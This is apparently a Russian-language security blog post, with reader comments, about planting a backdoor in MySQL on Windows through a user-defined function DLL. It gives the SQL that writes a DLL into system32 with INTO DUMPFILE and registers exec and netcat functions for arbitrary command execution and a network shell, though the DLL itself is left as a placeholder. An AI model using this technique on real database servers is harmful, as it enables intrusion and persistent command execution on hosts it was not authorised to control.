Categories
Reviews

MySQL бэкдор для Windows

В одном из своих постов однажды я уже упоминал возможность создания SQL-бэкдоров, в частности для MySQL. В отличие от MSSQL и Oracle, где имеются широкие возможности по созданию сложных хранимых процедур и функций, для MySQL проблема безопасности внутренней инфраструктуры баз данных является не столь освещенной и разработанной. Прежде всего это связано с отсутствием средств для создания различного рода malware на уровне БД, а именно встроенного скриптового языка – имеется лишь ограниченный набор конструкций для создания простейших циклов и условий. Но недавно случайно для себя обнаружил довольно любопытный пример MySQL-бэкдора, основанный на использовании UDFUser-Defined Functions (определяемые пользователем функции). Такое средство призвано расширить функционал MySQL с помощью специально оформленного и предварительно скомпилированного кода на C++, который реализует дополнительные возможности в контексте базы данных, при чем использование таких функций ни чем не отличается от любых других встроенных функций. Представленный выше бэкдор работает только под Windows XP, так как для создания UDF-функции необходимы права на запись в папку, содержащую системные библиотеки. В старых версиях MySQL этой директорией была С:/mysql/bin/, но в версиях > 5.1 поиск необходимой dll будет производиться в C:/windows/system32/. В любом случае, в Windows Vista трюк с UDF работать не будет, так как UAC не позволит записать ни в одну из этих папок.
Наибольшую сложность представляет написание специального кода на C++. Сам же процесс импортирования функции не вызывает трудностей:

USE mysql;
DROP TABLE IF EXISTS `foo`;
CREATE TABLE `foo` (
  `line` blob
) TYPE=MyISAM;
INSERT INTO `foo` VALUES ('[bin]');
SELECT * FROM foo INTO DUMPFILE 'c:/windows/system32/winudf.dll';
CREATE FUNCTION netcat RETURNS integer SONAME 'winudf.dll';
CREATE FUNCTION exec RETURNS integer SONAME 'winudf.dll';
DROP TABLE foo;

Автор бэкдора реализовал две функции:

  • exec – выполнение произвольных команд
    SELECT exec('echo foo > c:/bar.txt');
  • netcat – реализация всеми известного TCP/IP-инструмента
    SELECT netcat('127.0.0.1');

И, как оказалось, все действительно работает 😉

9 replies on “MySQL бэкдор для Windows”

Интересная штука. (:
Правда, примеру этому уже пара лет, наверное. Помню, тогда еще малварина была, которая умела троянить win-машины с mysql этим кодом.

Интересная вещь. Cегодня надо протестить на локалхосте =)
P.S. То что на висте не робит ИМХО не важно. Кто догадается держать на ней сервер? =) Главное что бы работало в 2000/2003/XP да и достаточно будет.

@Kuzya
Для висты, действительно, не важно, но например в Windows Server 2008, где также имеется UAC, работать не будет.

@cr0w
Что правда, то правда 🙂 Автора бэкдора можно смело отенсти к категории олдскул

прикольная вещь! =) Только что узнал о ней =)

Так что у нас тут выходит…

INSERT INTO `foo` VALUES (‘[bin]’);
SELECT * FROM foo INTO DUMPFILE ‘c:/windows/system32/winudf.dll’;

вместо [bin] должен быть бинарный код ДЛЛ библиотеки и мы записываем её непосредстна в систем32.

Эта строчка,
CREATE FUNCTION exec RETURNS integer SONAME ‘winudf.dll’;
как я понял регистрирует функцию из нашей библиотечки

а эта её вызывает:
SELECT exec(‘echo foo > c:/bar.txt’);

Я всё правильно понял?
Ну если всё так, то зачем нам создавать и записывать свою библиотеку winudf.dll, если можно воспользоваться уже готовыми библиотеками из систем32, которые содержат ВинАпи функции?

Было бы чудесно, если бы показали код бинарника, сорцы этого самого winudf.dll

Ух епт…Ещё б асилить бы всё это :Р Это стопудоф придётся доооолго изучать маны MySql =_=

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.